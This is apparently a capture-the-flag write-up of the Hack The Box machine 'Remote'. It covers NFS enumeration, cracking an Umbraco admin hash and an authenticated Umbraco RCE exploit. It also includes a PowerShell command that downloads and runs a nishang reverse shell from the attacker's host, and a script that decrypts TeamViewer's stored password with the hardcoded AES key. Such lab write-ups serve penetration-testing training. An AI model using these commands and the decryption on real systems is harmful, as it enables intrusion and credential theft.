Remote is an easy difficulty box. We crack the hash from the config file hosted on the NFS share. We exploit vulnerabilities in Umbraco CMS and TeamViewer. We find an encrypted password in the registry and write a Python script to decrypt it, gaining access to an Administrator’s account.

Reconnaissance


Nmap

Scanning for all TCP ports using a default set of scripts (-sC) and version detection (-sV). Most importantly:

┌──(iwo㉿kali)-[~/Desktop/Boxes/Remote]                                         
└─$ nmap -sCV -p- -oA scans/tcp_sCV 10.10.10.180
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-03 06:05 CST
Stats: 0:02:41 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 96.97% done; ETC: 06:08 (0:00:01 remaining)
Nmap scan report for 10.10.10.180
Host is up (0.077s latency).
Not shown: 65519 closed tcp ports (reset)
PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp    open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Home - Acme Widgets
111/tcp   open  rpcbind?
| rpcinfo: 
|   program version    port/proto  service
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|_  100003  2,3,4       2049/tcp6  nfs
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
2049/tcp  open  nfs           2-4 (RPC #100003)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49678/tcp open  msrpc         Microsoft Windows RPC
49679/tcp open  msrpc         Microsoft Windows RPC
49680/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-01-03T12:07:52
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 177.76 seconds

FTP - TCP 21

We do not find anything here…

┌──(iwo㉿kali)-[~/Desktop/Boxes/Remote]                                         
└─$ ftp anonymous@10.10.10.180
Connected to 10.10.10.180.
220 Microsoft FTP Service
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> ls -la
229 Entering Extended Passive Mode (|||49687|)
125 Data connection already open; Transfer starting.
226 Transfer complete.
ftp> 

HTTP - TCP 80

Upon visiting, we are greeted by the homepage.

ACME Homepage

On the website, under /contact section, we can find a button that redirects us to an admin login panel.

Go to back office and install forms button

Default credentials do not work. Even though, an admin panel sounds fairly promising. We should fuzz web directories in the background, while exploring the target as we want to be throughout with our enumeration.

Admin login panel

NFS - 2049 TCP/UDP

The server is sharing a directory named /site_backups. We can mount this directory and access its contents.

┌──(iwo㉿kali)-[~/Desktop/Boxes/Remote]                                         
└─$ showmount -e 10.10.10.180
Export list for 10.10.10.180:
/site_backups (everyone)

┌──(iwo㉿kali)-[~/Desktop/Boxes/Remote]                                         
└─$ sudo mount -t nfs 10.10.10.180:/site_backups /mnt/

After using the tree command on the shared directory, I decided to keep it simple and show you the output of ls. When there are many files, I prefer to focus on the ones that seem most interesting to me, such as database and config files.

┌──(iwo㉿kali)-[/mnt]                                         
└─$ ls
App_Browsers  aspnet_client  css           Media    Umbraco_Client
App_Data      bin            default.aspx  scripts  Views
App_Plugins   Config         Global.asax   Umbraco  Web.config

While going through the directories, we notice Umbraco.sdf file.The .sdf file extension stands for SQL Server Compact Database File, which is exactly what we need. While I did not know what the extension stood for initially, it’s always a good idea to look up unfamiliar file extensions when you come across them.

┌──(iwo㉿kali)-[/mnt/App_Data]                                         
└─$ ls
cache  Logs  Models  packages  TEMP  umbraco.config  Umbraco.sdf

Using the strings command to remove unnecessary clutter, we find password hashes for relevant users at the top of the file. SHA1 hash can be cracked, unlike HMAC-SHA256 hash, without its secret key we are out of luck.

┌──(iwo㉿kali)-[/mnt/App_Data]                                         
└─$ strings Umbraco.sdf | less
Administratoradmindefaulten-US
Administratoradmindefaulten-USb22924d5-57de-468e-9df4-0961cf6aa30d
Administratoradminb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}en-USf8512f97-cab1-4a4b-a49f-0a2054c47a1d
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-USfeb1a998-d3bf-406a-b30b-e269d7abdf50
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-US82756c26-4321-4d27-b429-1b5c7c4f882f
smithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={"hashAlgorithm":"HMACSHA256"}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257a9b9749-a054-27463ae58b8e
ssmithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={"hashAlgorithm":"HMACSHA256"}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257a9b9749
ssmithssmith@htb.local8+xXICbPe7m5NQ22HfcGlg==RF9OLinww9rd2PmaKUpLteR6vesD2MtFaBKe1zL5SXA={"hashAlgorithm":"HMACSHA256"}ssmith@htb.localen-US3628acfb-a62c-4ab0-93f7-5ee9724c8d32

Cracking the hash

We cracked the Administrator’s hash with ease using a rockyou dictionary.

┌──(iwo㉿kali)-[/Desktop/Boxes/Remote/hashes]                                         
└─$ hashcat -h | grep SHA1
    100 | SHA1 
┌──(iwo㉿kali)-[/Desktop/Boxes/Remote/hashes]                                         
└─$ hashcat -a 0 -m 100 admin.hash /usr/share/wordlists/rockyou.txt

<SNIP>

b8be16afba8c314ad33d812f22a04991b90e2aaa:baconandcheese

Umbraco

We can now login to Umbraco’s admin panel using credentials admin@htb.local:baconandcheese.

Admin panel homepage

Enumerating Umbraco

Right now, we should be asking ourselves “what exactly is Umbraco?”. Happily enough, we are greeted with a button redirecting to its documentation.

“Umbraco CMS is a flexible and editor-friendly Content Management System (CMS) that allows you to create beautiful and modern websites. Use the latest version of .NET, integrate with your favorite services, and help your customers launch a website tailored to their specific needs.”

Coming across CMS we should be thinking about uploading web shells. However, let’s not get short-sighted and enumerate our options.

Clicking on the admin’s profile picture reveals the Umbraco’s version.

Umbraco's version

We found two exploits for this particular version. Both seem to do the same thing, but the second one is the latest. This is the one we are going to use.

┌──(iwo㉿kali)-[/Desktop/Boxes/Remote]                                         
└─$ searchsploit Umbraco 7.12.4
---------------------------------------------- ---------------------------------
 Exploit Title                                |  Path
---------------------------------------------- ---------------------------------
Umbraco CMS 7.12.4 - (Authenticated) Remote C | aspx/webapps/46153.py
Umbraco CMS 7.12.4 - Remote Code Execution (A | aspx/webapps/49488.py
---------------------------------------------- ---------------------------------
Shellcodes: No Results
┌──(iwo㉿kali)-[/Desktop/Boxes/Remote]                                         
└─$ cp /usr/share/exploitdb/exploits/aspx/webapps/49488.py rce.py

After reviewing the code, we can say this is a Python exploit, which leverages a vulnerability in Umbraco to achieve RCE by an authenticated administrator.

Its payload is an XML stylesheet (XSLT) that includes embedded C# code. It runs with a specified command (-c) and its arguments (-a).

Let’s test its functionality…

┌──(iwo㉿kali)-[/Desktop/Boxes/Remote]                                         
└─$ python3 rce.py -u 'admin@htb.local' -p 'baconandcheese' -i 'http://10.10.10.180' -c whoami
iis apppool\defaultapppool

It works!

Initial foothold


Exploiting the vulnerability

Now that we have remote command execution on the target host, we can utilize it to connect to our attack host using a reverse shell.

Let’s use the exploit with nishang’s reverse shell PowerShell module—Invoke-PowerShellTcp.ps1.

Instructions on how to invoke it can be found on line 19.

.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444

Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on 
the given IP and port. 

The command below will launch PowerShell, download the Invoke-PowerShellTcp.ps1 from our Python server, and call it from memory on the target host. After the semicolon (;), we will invoke the transferred and executed module.

┌──(iwo㉿kali)-[/Desktop/Boxes/Remote]                                         
└─$ python3 rce.py -u 'admin@htb.local' -p 'baconandcheese' -i 'http://10.10.10.180' -c powershell -a "iex(New-Object Net.WebClient).DownloadString('http://10.10.14.9:1337/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.9 -Port 1234"

Setting up the attack

Netcat

┌──(iwo㉿kali)-[/Desktop/Boxes/Remote]                                         
└─$ nc -lvnp 1234
listening on [any] 1234 ...

Python server

┌──(iwo㉿kali)-[~/Downloads]                                         
└─$ python -m http.server 1337
Serving HTTP on 0.0.0.0 port 1337 (http://0.0.0.0:1337/) ...

Getting a shell

┌──(iwo㉿kali)-[/Desktop/Boxes/Remote]                                         
└─$ python3 rce.py -u 'admin@htb.local' -p 'baconandcheese' -i 'http://10.10.10.180' -c powershell -a "iex(New-Object Net.WebClient).DownloadString('http://10.10.14.9:1337/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.9 -Port 1234"

We get a shell and we retrieve the user flag.

┌──(iwo㉿kali)-[/Desktop/Boxes/Remote]                                         
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.10.180] 49735
Windows PowerShell running as user REMOTE$ on REMOTE
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\windows\system32\inetsrv>whoami
iis apppool\defaultapppool
PS C:\Users\Public\Desktop> dir


    Directory: C:\Users\Public\Desktop


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-a----        2/20/2020   2:14 AM           1191 TeamViewer 7.lnk                                                      
-ar---         1/4/2025   1:06 AM             34 user.txt                                                              


PS C:\Users\Public\Desktop> type user.txt
e07b4e**************************

Privilege escalation


While getting the flag, I noticed that we have a shortcut to an outdated TeamViewer 7. Looking for a vulnerability in TeamViewer could be a possible way forward, but before we decide to go that way—let’s enumerate.

Enumeration

We land on a user with SeImpersonatePrivilege.

PS C:\Users\Public\Desktop> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

We are on a Windows Server 2019 system, which means we could use PrintSpoofer to escalate our privileges.

PS C:\Users\Public\Desktop> systeminfo | findstr /C:"OS Name"
OS Name:                   Microsoft Windows Server 2019 Standard

PS C:\Users\Public\Desktop> systeminfo | findstr /C:"System Type"
System Type:               x64-based PC

As for TeamViewer 7, Metasploit has a module for TeamViewer credential gathering and our version is vulnerable to this attack.

[msf](Jobs:0 Agents:0) post(windows/gather/credentials/teamviewer_passwords) >> info -d

teamviewer_passwords info

We will try escalating our privileges utilizing both paths.

PrintSpoofer

Unfortunately, it does not seem to work. It just hangs up. I tried with different variations of executing this attack, but no luck…

PS C:\Windows\temp> curl http://10.10.14.18:1337/PrintSpoofer64.exe -o ps.exe
PS C:\Windows\temp> .\ps.exe -i -c cmd

TeamViewer 7

We could either get a Meterpreter shell and exploit the vulnerability using Metasploit, or analyze the code and exploit it by ourselves. Let’s do the latter.

This is where our TeamViewer is in the registry. Using the Get-ItemProperty -Path . cmdlet displays the registry entries and their corresponding values in that key.

PS C:\> cd HKLM:\SOFTWARE\WOW6432Node\TeamViewer\Version7
PS HKLM:\SOFTWARE\WOW6432Node\TeamViewer\Version7> Get-ItemProperty -Path .


StartMenuGroup            : TeamViewer 7
InstallationDate          : 2020-02-20
InstallationDirectory     : C:\Program Files (x86)\TeamViewer\Version7
Always_Online             : 1
Security_ActivateDirectIn : 0
Version                   : 7.0.43148
ClientIC                  : 301094961
PK                        : {191, 173, 42, 237...}
SK                        : {248, 35, 152, 56...}
LastMACUsed               : {, 0050569451D1}
MIDInitiativeGUID         : {514ed376-a4ee-4507-a28b-484604ed0ba0}
MIDVersion                : 1
ClientID                  : 1769137322
CUse                      : 1
LastUpdateCheck           : 1704810710
UsageEnvironmentBackup    : 1
SecurityPasswordAES       : {255, 155, 28, 115...}
MultiPwdMgmtIDs           : {admin}
MultiPwdMgmtPWDs          : {357BC4C8F33160682B01AE2D1C987C3FE2BAE09455B94A1919C4CD4984593A77}
Security_PasswordStrength : 3
PSPath                    : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\TeamViewer\Vers
                            ion7
PSParentPath              : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\TeamViewer
PSChildName               : Version7
PSDrive                   : HKLM
PSProvider                : Microsoft.PowerShell.Core\Registry

The exploit searches the following key-value pairs for encrypted passwords.

    locations = [
      { value: 'OptionsPasswordAES', description: 'Options Password' },
      { value: 'SecurityPasswordAES', description: 'Unattended Password' }, # for < v9.x
      { value: 'SecurityPasswordExported', description: 'Exported Unattended Password' },
      { value: 'ServerPasswordAES', description: 'Backend Server Password' }, # unused according to TeamViewer
      { value: 'ProxyPasswordAES', description: 'Proxy Password' },
      { value: 'LicenseKeyAES', description: 'Perpetual License Key' }, # for <= v14
    ]

We spot the SecurityPasswordAES and retrieve its values.

PS HKLM:\SOFTWARE\WOW6432Node\TeamViewer\Version7> (Get-ItemProperty -Path .).SecurityPasswordAES
255
155
28
115
214
107
206
49
172
65
62
174
19
27
70
79
88
47
108
226
209
225
243
218
126
141
55
107
38
57
78
91

Function below decrypts the password. It is written in Ruby, as are all Metasploit exploits. It decrypts the password using the AES-128-CBC encryption algorithm with a specified key and initialization vector (IV). The decrypted data is then converted to ASCII using UTF-16LE encoding.

If you would like to challenge yourself, write the script in your preferred programming language to successfully decrypt the above-mentioned password.

def decrypt(encrypted_data)
    password = ''
    return password unless encrypted_data

    password = ''

    key = "\x06\x02\x00\x00\x00\xa4\x00\x00\x52\x53\x41\x31\x00\x04\x00\x00"
    iv = "\x01\x00\x01\x00\x67\x24\x4F\x43\x6E\x67\x62\xF2\x5E\xA8\xD7\x04"
    aes = OpenSSL::Cipher.new('AES-128-CBC')
    begin
      aes.decrypt
      aes.key = key
      aes.iv = iv
      plaintext = aes.update(encrypted_data)
      password = Rex::Text.to_ascii(plaintext, 'utf-16le')
      if plaintext.empty?
        return nil
      end
    rescue OpenSSL::Cipher::CipherError => e
      print_error("Unable to decrypt the data. Exception: #{e}")
    end

    password
  end

I wrote mine in Python. It’s not perfect but it will suffice for this task.

#!/usr/bin/python3

from Crypto.Cipher import AES

password = bytes([255, 155, 28, 115, 214, 107, 206, 49, 172, 65, 62, 174, 19, 27, 70, 79, 88, 47, 108, 226, 209, 225, 243, 218, 126, 141, 55, 107, 38, 57, 78, 91])

key = b"\x06\x02\x00\x00\x00\xa4\x00\x00\x52\x53\x41\x31\x00\x04\x00\x00"
iv  = b"\x01\x00\x01\x00\x67\x24\x4F\x43\x6E\x67\x62\xF2\x5E\xA8\xD7\x04"
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
plaintext = cipher.decrypt(password).decode("utf-16")

print(f"{plaintext}")

We retrieve the following password.

┌──(iwo㉿kali)-[/Desktop/Boxes/Remote]                                         
└─$ python3 decrypt.py
!R3m0te!

Getting a shell

┌──(iwo㉿kali)-[/Desktop/Boxes/Remote]                                         
└─$ evil-winrm -i 10.10.10.180 -u Administrator -p '!R3m0te!'

<SNIP>

*Evil-WinRM* PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
ef0a15**************************

We finish the box by grabbing the root flag and acquiring the highest privileges on the web server. :)